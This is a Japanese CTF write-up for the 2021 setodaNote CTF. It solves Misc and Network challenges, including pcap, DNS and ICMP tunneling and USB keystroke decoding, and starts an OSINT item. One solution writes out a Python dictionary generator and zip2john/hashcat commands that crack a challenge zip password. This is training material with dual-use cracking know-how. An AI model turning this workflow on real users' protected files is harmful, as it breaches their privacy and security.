概要
2021/8/21-9/4と2週間に渡って開催された setodaNote CTFのWriteupになります。
@soji256 が一人で作成されたCTFのようですが、ジャンル・ボリュームともに多く、非常に楽しむことができました!ありがとうございました!
ジャンルと問題数は以下の通りです。69問ありました。
- Misc: 12問
- Network: 8問
- Web: 8問
- OSINT: 10問
- Crypto: 8問
- Rev: 5問
- Forensics: 11問
- Programing: 4問
- Pwn: 3問
結果
結果は以下の通りでした。
Misc
Welcome
問題
攻略方法
本CTFでは、WebShellが用意されており、ログインするとカレントにフラグファイルが置かれていました。
user@03faf07ab128:~$ ls
welcome.txt
user@03faf07ab128:~$ cat welcome.txt
Welcome to the setodaNote CTF!!
*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
* *
* flag{Enjoy_y0ur_time_here!} *
* *
*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
This is the flag.
user@03faf07ab128:~$
WebShellへの接続確認を兼ねた問題になっていました。
フラグ
flag{Enjoy_y0ur_time_here!}
morse_one
問題
攻略環境
- Kali Linux(2021.2)
- Python3
- Cyber Chef
攻略方法
問題に添付されたファイルを解答すると、以下のファイルが格納されていました。
┌──(vagrant㉿kali)-[/vagrant/misc/morse_one]
└─$ cat morse_one.txt
DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB
問題のタイトルの通り、モールス符号だと思います。
- D -> 短点
- B -> 長点
- S -> 区切り文字
と、仮定し、以下の通り変換します。
┌──(vagrant㉿kali)-[/vagrant/misc/morse_one]
└─$ cat morse_one.txt | tr 'D' '.' | tr 'B' '-' | tr 'S' ' '
...- .. -... .-. --- .--. .-.. . -..-
変換したテキストをCyber Chefで解読したところ、以下の結果が得られました。
VIBROPLEX
を調べたところ、 モールス符号の送信装置なので、これがフラグそうです。
フラグ
flag{VIBROPLEX}
Hash
問題
攻略環境
攻略方法
添付ファイルを回答する以下の通り90個のファイルがありました。
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ ls hash
pass001.txt
<snip>
pass090.txt
ためにし、いくつかのファイルを確認してみます。
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass001.txt
flag{turkey
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass002.txt
flag{cure
問題文に記載しているハッシュ値のファイルを結合すればflagが得られそうです。
hash-identifier
でハッシュアルゴリズムの特定をします。
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7
Possible Hashs:
[+] SHA-256
[+] Haval-256
SHA-256
だとわかりました。あとは、各ファイルをのハッシュ値を抽出して、ファイルを特定します。
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ sha256sum hash/* > hash_list.txt
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash_list.txt| grep aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7
aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7 hash/pass024.txt
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash_list.txt| grep 8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb
8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb hash/pass034.txt
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash_list.txt| grep e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962
e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962 hash/pass079.txt
特定したファイルに記載されている文字列を結合すると、フラグが得られました。
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass024.txt
flag{hardest
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass034.txt
_logic_
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass079.txt
puzzle}
フラグ
flag{hardest_logic_puzzle}
magic_number
問題
攻略環境
- Kali Linux(2021.2)
- hexdump
攻略方法
タイトルどおりファイルのマジックナンバーを確認します。
問題文に記載されているマジックナンバーはそれぞれ以下のファイルを示しています。
- [89 50 4e 47] -> PNG
- [52 61 72 21] -> RAR
- [ff d8 ff e0] -> JPEG
それぞれの拡張子が示すファイルの先頭バイトを確認します。
┌──(vagrant㉿kali)-[/vagrant/misc/magic_number]
└─$ hexdump -C magic_number/post.png| head -n 1
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
┌──(vagrant㉿kali)-[/vagrant/misc/magic_number]
└─$ hexdump -C magic_number/rar.rar| head -n 1
00000000 52 61 72 21 1a 07 01 00 33 92 b5 e5 0a 01 05 06 |Rar!....3.......|
┌──(vagrant㉿kali)-[/vagrant/misc/magic_number]
└─$ hexdump -C magic_number/light.jpg| head -n 1
00000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 |......JFIF.....`|
ファイル名が特定できたので、ファイル名を問題文に従って結合するとフラグが得られました。
フラグ
flag{post_rar_light}
参考情報
marse_zero
問題
攻略環境
- Kali Linux(2021.2)
- Python3
- Cyber Chef
攻略方法
タイトルから morse_one と同様にモールス符号の問題と想定して取りかかりました。
添付されたファイルを確認すると、以下の通りZ
しか表示されませんでした。
┌──(vagrant㉿kali)-[/vagrant/misc/morse_zero]
└─$ cat morse_zero.txt
ZZZZZZZZZZZZZZZ
これだとモールス符号が成立しないので、バイナリを確認すると以下の通り同じバイト列が繰り返し出現しており、モールス符号が成立する可能性があります。
┌──(vagrant㉿kali)-[/vagrant/misc/morse_zero]
└─$ hexdump -C morse_zero.txt
00000000 e2 80 8c e2 80 8c e2 80 8b e2 80 8b 5a e2 80 8b |............Z...|
00000010 5a e2 80 8b e2 80 8c e2 80 8b 5a e2 80 8c e2 80 |Z.........Z.....|
00000020 8c e2 80 8c e2 80 8c e2 80 8c 5a e2 80 8b e2 80 |..........Z.....|
00000030 8b e2 80 8c e2 80 8c e2 80 8b e2 80 8c 5a e2 80 |.............Z..|
00000040 8b e2 80 8c e2 80 8c 5a e2 80 8b e2 80 8c e2 80 |.......Z........|
00000050 8c e2 80 8c e2 80 8c 5a e2 80 8c e2 80 8b e2 80 |.......Z........|
00000060 8b 5a e2 80 8c 5a e2 80 8b e2 80 8b e2 80 8b e2 |.Z...Z..........|
00000070 80 8b 5a e2 80 8b e2 80 8b e2 80 8c e2 80 8c e2 |..Z.............|
00000080 80 8b e2 80 8c 5a e2 80 8b e2 80 8b e2 80 8b 5a |.....Z.........Z|
00000090 e2 80 8b e2 80 8c e2 80 8c e2 80 8b 5a e2 80 8b |............Z...|
000000a0 e2 80 8c 5a e2 80 8c e2 80 8b e2 80 8c e2 80 8b |...Z............|
000000b0 5a e2 80 8b |Z...|
000000b4
出現するバイト列を見てみると、以下の3種類が繰り返し使われていることに気づきました。
- e2 80 8c
- e2 80 8b
- 5a
これを、モールス符号に当てはめて、以下の通り変換を実行しました。(Z
は区切り文字だと仮定して、のこりのバイト列に長点・短点があると想定)
# !/usr/bin/env python3
r = ""
with open("morse_zero.txt", "rb") as f:
while True:
data = f.read(1)
if len(data) == 0:
break
if data == b'\x8c':
r += "-"
elif data == b'\x8b':
r += "."
elif data == b'\x5a':
r += " "
print(r)
┌──(vagrant㉿kali)-[/vagrant/misc/morse_zero]
└─$ ./solver.py
--.. . .-. ----- ..--.- .-- .---- -.. - .... ..--.- ... .--. .- -.-. .
得れた文字列をCyberChefで解析するとフラグが得られました。
フラグ
Flag{ZER0_W1DTH_SPACE}
i_knew_it
問題
攻略方法
解答する、アセンブリが記載された画像ファイルがありました。
よくみてみると、RC4
の特徴があり、これがフラグになっています。
RC4の解説について、以下に詳細が記載されています。
フラグ
flag{RC4}
Redacted
問題
攻略方法
PDFファイルが添付されており、開くと以下のような黒塗りされた文章があります。
Adobe Readerで開いて、コピペしたところ以下の文章が取得でき、そのなかにフラグがありました。
フラグ
flag{weather_balloon}
storing_password
攻略環境
- Kali Linux(2021.2)
- Python3
- hashcat(v6.1.1)
問題
攻略方法
パスワード付きのzipファイルと以下の情報セキュリティガイドラインが与えられた問題です。
情報セキュリティガイドラインに従ったパスワードが設定されていると仮定し、総当たり攻撃をしかければ解読できそうです。
以下の方針で進めました。
- パスワードに法則があるため、法則に従った辞書ファイルを作成する。
-
hashcat
を使った辞書攻撃を行う。
まずzipファイルのパスワードハッシュ値を取得します。
┌──(vagrant㉿kali)-[/vagrant/misc/strong_password/_output]
└─$ zip2john TopSecret.zip | cut -d ":" -f 2 > TopSecret.zip.hash
ver 2.0 TopSecret.zip/TopSecret.txt PKZIP Encr: cmplen=85, decmplen=73, crc=8578F5F9
次に、以下の通り辞書ファイルを作成します。
# !/usr/bin/env python3
import sys
import string
import itertools
import datetime
alphabet_list = [c for c in string.ascii_letters]
punctuation_list = ['@', '#', '%', '$', '!', '-']
alphabet_combi_list = list(itertools.permutations(alphabet_list, 3))
punctuation_combi_list = list(itertools.permutations(punctuation_list, 2))
with open("abc.txt", "w") as f:
for c in alphabet_combi_list:
f.write(f"{c[0]}{c[1]}{c[2]}")
f.write('\n')
start_date = datetime.datetime(year=2021, month=8, day=21)
with open('dict.txt', 'w') as f:
for i in range(1, 143 + 365): # target: 2020/04/01
date_str = (start_date - datetime.timedelta(days=i)).strftime('%Y%m%d')
for a in alphabet_combi_list:
for p in punctuation_combi_list:
line = f'{a[0]}{a[1]}{a[2]}{p[0]}{date_str}{p[1]}'
f.write(line)
f.write('\n')
作成した辞書をもとに、解読を試みるとzipファイルのパスワードがわかりました。
┌──(vagrant㉿kali)-[/vagrant/misc/strong_password]
└─$ hashcat -m 17210 -a 0 ./_output/TopSecret.zip.hash ./dict.txt
<snip>
$pkzip2$1*1*2*0*55*49*8578f5f9*0*2b*0*55*8578*92c0*598c6b323287ee253bad1378d1f4fe4d91648ea9f1e60fe80374b917e47421b6f3379cf786e9c22453d02e8192c2aecd93122be13b2c348d02c0229c6c8a6b433ac24b17d0e18f215252601daafe595eb6ba28eab3*$/pkzip2$:qYL%20210228!
Session..........: hashcat
Status...........: Cracked
Hash.Name........: PKZIP (Uncompressed)
Hash.Target......: $pkzip2$1*1*2*0*55*49*8578f5f9*0*2b*0*55*8578*92c0*...kzip2$
Time.Started.....: Thu Aug 26 11:01:06 2021 (9 mins, 36 secs)
Time.Estimated...: Thu Aug 26 11:10:42 2021 (0 secs)
Guess.Base.......: File (./dict.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2206.9 kH/s (0.46ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 689494016/761378080 (90.56%)
Rejected.........: 0/689494016 (0.00%)
Restore.Point....: 689491968/761378080 (90.56%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: qYp$20210228! -> qZI-20210228@
Started: Thu Aug 26 10:54:17 2021
Stopped: Thu Aug 26 11:10:43 2021
得られたパスワードをもとに、zipファイルを解答すると中のテキストファイルにフラグが書かれてました。
┌──(vagrant㉿kali)-[/vagrant/misc/strong_password/_output]
└─$ unzip TopSecret.zip
Archive: TopSecret.zip
[TopSecret.zip] TopSecret.txt password:
extracting: TopSecret.txt
┌──(vagrant㉿kali)-[/vagrant/misc/strong_password/_output]
└─$ cat TopSecret.txt
flag{And_n0w_h3re_is_my_s3cre7}
フラグ
flag{And_n0w_h3re_is_my_s3cre7}
参考情報
Network
Host
問題
攻略環境
攻略方法
以下のpcapファイルからホスト名を探す問題です。
┌──(vagrant㉿kali)-[/vagrant/Network/Host]
└─$ file host.pcap
host.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
まずは、どのような通信が行われているのか確認します。
┌──(vagrant㉿kali)-[/vagrant/Network/Host]
└─$ tshark -r host.pcap
1 0.000000 10.0.0.1 → 10.0.0.100 TCP 60 80 → 49793 [FIN, ACK] Seq=1 Ack=1 Win=245 Len=0
2 0.000033 10.0.0.100 → 10.0.0.1 TCP 54 49793 → 80 [ACK] Seq=1 Ack=2 Win=8209 Len=0
3 1.000610 10.0.0.100 → 10.0.0.1 TCP 54 49793 → 80 [FIN, ACK] Seq=1 Ack=2 Win=8209 Len=0
4 1.000847 10.0.0.100 → 10.0.0.1 TCP 66 49796 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
5 1.001120 10.0.0.1 → 10.0.0.100 TCP 60 80 → 49793 [ACK] Seq=2 Ack=2 Win=245 Len=0
6 1.001120 10.0.0.1 → 10.0.0.100 TCP 66 80 → 49796 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=1460 SACK_PERM=1 WS=128
7 1.001228 10.0.0.100 → 10.0.0.1 TCP 54 49796 → 80 [ACK] Seq=1 Ack=1 Win=2102272 Len=0
8 1.001655 10.0.0.100 → 10.0.0.1 HTTP 559 GET / HTTP/1.1
9 1.002524 10.0.0.1 → 10.0.0.100 TCP 60 80 → 49794 [ACK] Seq=1 Ack=506 Win=237 Len=0
10 1.002524 10.0.0.1 → 10.0.0.100 HTTP 487 HTTP/1.1 200 OK (text/html)
HTTP通信が行われているので、ここにホスト名がありそうです。HTTPでフィルタリングして詳細を確認するとホスト名がわかりました。
┌──(vagrant㉿kali)-[/vagrant/Network/Host]
└─$ tshark -r host.pcap -V http
<snip>
Hypertext Transfer Protocol
HTTP/1.1 200 OK\r\n
[Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n]
[HTTP/1.1 200 OK\r\n]
[Severity level: Chat]
[Group: Sequence]
Response Version: HTTP/1.1
Status Code: 200
[Status Code Description: OK]
Response Phrase: OK
Date: Mon, 08 Mar 2021 15:04:26 GMT\r\n
Server: Apache/2.4.6 (CentOS)\r\n
Last-Modified: Mon, 08 Mar 2021 14:49:37 GMT\r\n
ETag: "87-5bd078afca725"\r\n
Accept-Ranges: bytes\r\n
Content-Length: 135\r\n
[Content length: 135]
Keep-Alive: timeout=5, max=100\r\n
Connection: Keep-Alive\r\n
Content-Type: text/html; charset=UTF-8\r\n
\r\n
[HTTP response 1/1]
[Time since request: 0.000869000 seconds]
[Request in frame: 8]
[Request URI: http://ctf.setodanote.net/]
File Data: 135 bytes
フラグ
flag{ctf.setodanote.net}
tyks_never_dir
問題
攻略環境
攻略方法
PCAPファイルを解析する問題です。
┌──(vagrant㉿kali)-[/vagrant/Network/tkys_never_die]
└─$ file tkys_never_die.pcap
tkys_never_die.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
まずは開いて中身を確認します。
┌──(vagrant㉿kali)-[/vagrant/Network/tkys_never_die]
└─$ tshark -r tkys_never_die.pcap
<snip>
18 6.696643 10.0.0.100 → 10.0.0.1 HTTP 512 GET /flag.png HTTP/1.1
<snip>
51 6.697300 10.0.0.1 → 10.0.0.100 TCP 1514 80 → 49824 [ACK] Seq=44264 Ack=973 Win=31360 Len=1460 [TCP segment of a reassembled PDU]
52 6.697300 10.0.0.1 → 10.0.0.100 TCP 1514 80 → 49824 [ACK] Seq=45724 Ack=973 Win=31360 Len=1460 [TCP segment of a reassembled PDU]
53 6.697300 10.0.0.1 → 10.0.0.100 TCP 1514 80 → 49824 [ACK] Seq=47184 Ack=973 Win=31360 Len=1460 [TCP segment of a reassembled PDU]
54 6.697300 10.0.0.1 → 10.0.0.100 HTTP 216 HTTP/1.1 200 OK (PNG)
flag.png
を取得している通信があることがわかりました。また、レスポンスは断片化されているようなので、復元処理が必要です。
ここからは、Wireshark
で作業を行い、対象ファイルを取り出します。
復元したファイルは以下の通りで、フラグが書かれていました。
フラグ
flag{a_treasure_trove}
echo_request
問題
攻略環境
攻略方法
PCAPファイルを解析する問題です。
┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ file echo_request.pcap
echo_request.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
中身を確認してみると、Echo request
が大量に含まれていることが確認できました。
┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ tshark -r echo_request.pcap
<snip>
21 114.435669 192.168.224.120 → 192.168.224.105 ICMP 98 Echo (ping) request id=0x4943, seq=1/256, ttl=64
22 115.451748 192.168.224.120 → 192.168.224.105 ICMP 98 Echo (ping) request id=0x4943, seq=2/512, ttl=64
23 116.475739 192.168.224.120 → 192.168.224.105 ICMP 98 Echo (ping) request id=0x4943, seq=3/768, ttl=64
Echo request
のData部には任意のデータが設定可能で、ここに断片化されたデータ格納されている可能性が高いです。Data部に着目して見てみます。
┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ tshark -r echo_request.pcap -V icmp.type==8 | grep Data
<snip>
Data (1 byte)
Data: 66
Data (1 byte)
Data: 6c
Data (1 byte)
Data: 61
Data (1 byte)
Data: 67
Data (1 byte)
Data: 7b
Data (1 byte)
Data: 49
<snip>
66 -> f
, 6c -> l,
61 -> a,
67 -> g`と、flagがあることがわかりました。
データ部を抽出したファイルを作成します。
┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ tshark -r echo_request.pcap -V icmp.type==8 | grep Data | grep -v byte > data.txt
以下のスクリプトで断片情報を結合したところフラグが見つかりました。
# !/usr/bin/env python3
flag = ""
with open("data.txt") as f:
for line in f:
flag += chr(int(line.strip().split(':')[1], 16))
print(flag)
┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ ./solver.py
.....flag{ICMP_Tunneling_T1095}.....
フラグ
flag{ICMP_Tunneling_T1095}
参考情報
yes_you_can
問題
攻略方法
テキストファイルが添付されており、確認するとCANのログでした。
┌──(vagrant㉿kali)-[/vagrant/Network/yes_you_can]
└─$ file dump.log
dump.log: ASCII text
┌──(vagrant㉿kali)-[/vagrant/Network/yes_you_can]
└─$ head dump.log
(1628245600.155918) vcan0 095#800007F400000017
(1628245600.157006) vcan0 1A4#000000080000003E
(1628245600.157018) vcan0 1AA#7FFF00000000673F
(1628245600.157020) vcan0 1B0#000F0000000175
(1628245600.157023) vcan0 1D0#000000000000000A
(1628245600.158095) vcan0 166#D0320027
(1628245600.160232) vcan0 158#0000000000000028
(1628245600.160243) vcan0 161#000005500108002B
(1628245600.160245) vcan0 191#010010A141001A
(1628245600.160247) vcan0 133#00000000B6
フラグ文字列である{: 0x7B
が含まれているか確認すると、CAN ID: 244
にフラグが含まれていそうなことがわかりました。
┌──(vagrant㉿kali)-[/vagrant/Network/yes_you_can]
└─$ grep '7B' dump.log
(1628245602.084979) vcan0 244#000000017B
(1628245602.110607) vcan0 244#000000017B
(1628245609.009610) vcan0 244#0000007B00
(1628245609.024920) vcan0 244#0000007B00
CAN ID: 244
を対象にデータを確認すると、フラグを1文字づつ送信している箇所を見つけました。
┌──(vagrant㉿kali)-[/vagrant/Network/yes_you_can]
└─$ grep '244#' dump.log | awk -F# '{print $2}'
<snip>
0000006600
0000006600
0000006600
0000006600
0000006600
<snip>
0000006C00
0000006C00
0000006C00
0000006C00
0000006C00
<snip>
ffffflllll
のように重複して送信をしているため、重複部分を取り除くとフラグが得られました。
フラグ
flag{can_bus_hacking}
参考情報
Digdig
問題
攻略環境
攻略方法
PCAPファイルを解析する問題です。
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ file digdig.pcap
digdig.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
統計情報を見るとDNSのみでした。
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap -z io,phs -q
===================================================================
Protocol Hierarchy Statistics
Filter:
eth frames:86 bytes:9984
ip frames:86 bytes:9984
udp frames:86 bytes:9984
dns frames:86 bytes:9984
===================================================================
DNSトンネリング使われていると思い、DNSリクエストを確認してみると、それらしい通信が行われていることが確認できました。
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -V -r digdig.pcap | grep "type AAAA"
00500000LFI2358AA31.setodanote.net: type AAAA, class IN
00500000LFI2358AA31.setodanote.net: type AAAA, class IN
00500000LFI2358AA32.setodanote.net: type AAAA, class IN
00500000LFI2358AA32.setodanote.net: type AAAA, class IN
00500000LFI2358AA33.setodanote.net: type AAAA, class IN
00500000LFI2358AA33.setodanote.net: type AAAA, class IN
<snip>
さらに、flag{
を16進数に変換しgrepすると複数の通信が抽出できました。
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -V -r digdig.pcap | grep "type AAAA" | grep 666c61677b
005aa00e20666c61677b3768.setodanote.net: type AAAA, class IN
005aa00e20666c61677b3768.setodanote.net: type AAAA, class IN
005aa001666c61677b546869.setodanote.net: type AAAA, class IN
005aa001666c61677b546869.setodanote.net: type AAAA, class IN
005aa00520666c61677b4e69.setodanote.net: type AAAA, class IN
005aa00520666c61677b4e69.setodanote.net: type AAAA, class IN
7d
が含まれていないため、分割して送信している可能性が高そうです。
DNSトンネリングは、UDPの都合上順序が保証できないため、リクエスト中に識別情報を入れている場合があります。今回の場合は先頭の8byteが該当しそうです。
005aa00e
005aa001
005aa005
試しに、005aa00e
で検証をしてみます。
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00e
69 18.446251 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0026 AAAA 005aa00e20666c61677b3768.setodanote.net
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00f
65 18.421682 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0024 AAAA 005aa00f335f6b33795f3135.setodanote.net
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa010
77 18.500880 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x002a AAAA 005aa0105f35336375723137.setodanote.net
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa011
57 18.371236 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0020 AAAA 005aa011797d323232323232.setodanote.net
得られたデータは以下の通りでした。
- 20666c61677b3768
- 335f6b33795f3135
- 5f35336375723137
- 797d323232323232
これをCyberChefで解読すると、以下のとおりでした。これでフラグを特定する方法が確立できました。
flag{7h3_k3y_15_53cur17y}222222
一見、フラグが得られているように見えますが、フラグ文字列が分割していることを考えるとflag{
でフィルタリングをすると見逃しが発生する可能性があります。
そこで、0x7d: }
を対象にgrepして、デクリメントすることでフラグを生成することにします。
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep '7d'
25 18.120262 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0010 AAAA 005aa0034d595f464c41477d.setodanote.net
29 18.148139 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0012 AAAA 005aa0085f746861747d2066.setodanote.net
53 18.348456 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x001e AAAA 005aa00c5f5431303731217d.setodanote.net
57 18.371236 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0020 AAAA 005aa011797d323232323232.setodanote.net
上から順に解読してきいます。
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa003
25 18.120262 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0010 AAAA 005aa0034d595f464c41477d.setodanote.net
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa002
17 18.082911 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x000c AAAA 005aa002735f69735f44414d.setodanote.net
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa001
73 18.475280 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0028 AAAA 005aa001666c61677b546869.setodanote.net
得られた文字列は以下のとおりでした。
666c61677b546869
735f69735f44414d
4d595f464c41477d
これを解読すると、以下の通りになり明らかに誤りです。
flag{This_is_DAMMY_FLAG}
次のIDも試します。
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa008
29 18.148139 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0012 AAAA 005aa0085f746861747d2066.setodanote.net
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa007
41 18.223104 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0018 AAAA 005aa0076f7272795f666f72.setodanote.net
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa006
21 18.096169 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x000e AAAA 005aa00663655f7472795f53.setodanote.net
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa005
85 18.551924 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x002e AAAA 005aa00520666c61677b4e69.setodanote.net
得られた文字列とフラグ以下のとおりでした。
20666c61677b4e69
63655f7472795f53
6f7272795f666f72
5f746861747d2066
flag{Nice_try_Sorry_for_that}
だんだん不安になってきましたが、最後のIDを試してみます。
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00c
53 18.348456 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x001e AAAA 005aa00c5f5431303731217d.setodanote.net
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00b
37 18.196979 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0016 AAAA 005aa00b5333637572313779.setodanote.net
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00a
33 18.166535 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0014 AAAA 005aa00a6c61677b444e535f.setodanote.net
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa009
49 18.329026 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x001c AAAA 005aa0096c61672069732066.setodanote.net
得られた文字列とフラグ以下のとおりで、無事フラグを見つけられました。
6c61672069732066
6c61677b444e535f
5333637572313779
5f5431303731217d
lag is flag{DNS_S3cur17y_T1071!}
フラグ
flag{DNS_S3cur17y_T1071!}
参考情報
Logger
問題
攻略環境
攻略方法
PCAPファイルを解析する問題です。
┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ file logger.pcap
logger.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (USB with USBPcap header, capture length 134217728)
統計情報を見るとUSBのキャプチャデータのみでした。
┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ tshark -r logger.pcap -z io,phs -q
===================================================================
Protocol Hierarchy Statistics
Filter:
usb frames:1100 bytes:34100
usb.capdata frames:550 bytes:19250
===================================================================
タイトルがLoggerとありますので、キーロガーの可能性が高そうです。
調べてみると、キャプチャデータから入力文字を再現するスクリプトが見つかりました。
READMEに従い実施したところ、入力文字がわかりフラグがわかりました。
┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ tshark -r logger.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > usbPcapData.txt
┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ head usbPcapData.txt
02:00:00:00:00:00:00:00
02:00:12:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:11:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:08:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:2c:00:00:00:00:00
00:00:00:00:00:00:00:00
┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ python3 ctf-usb-keyboard-parser-master/usbkeyboard.py ./usbPcapData.txt
One popular but unverified explanation for the QWERTY arrangement is that it was designed to reduce the likelihood of flag{QWE_keyb0ard_RTY} internal clashing of typebars by placing commonly used combinations of letters farther from each oher inside the machine.
フラグ
flag{QWE_keyb0ard_RTY}
参考情報
OSINT
tkys_with_love
問題
攻略方法
C6DF6
でググると、以下のページができました。
船名の英語表記があったので、そこからフラグを組み立てればOKでした。
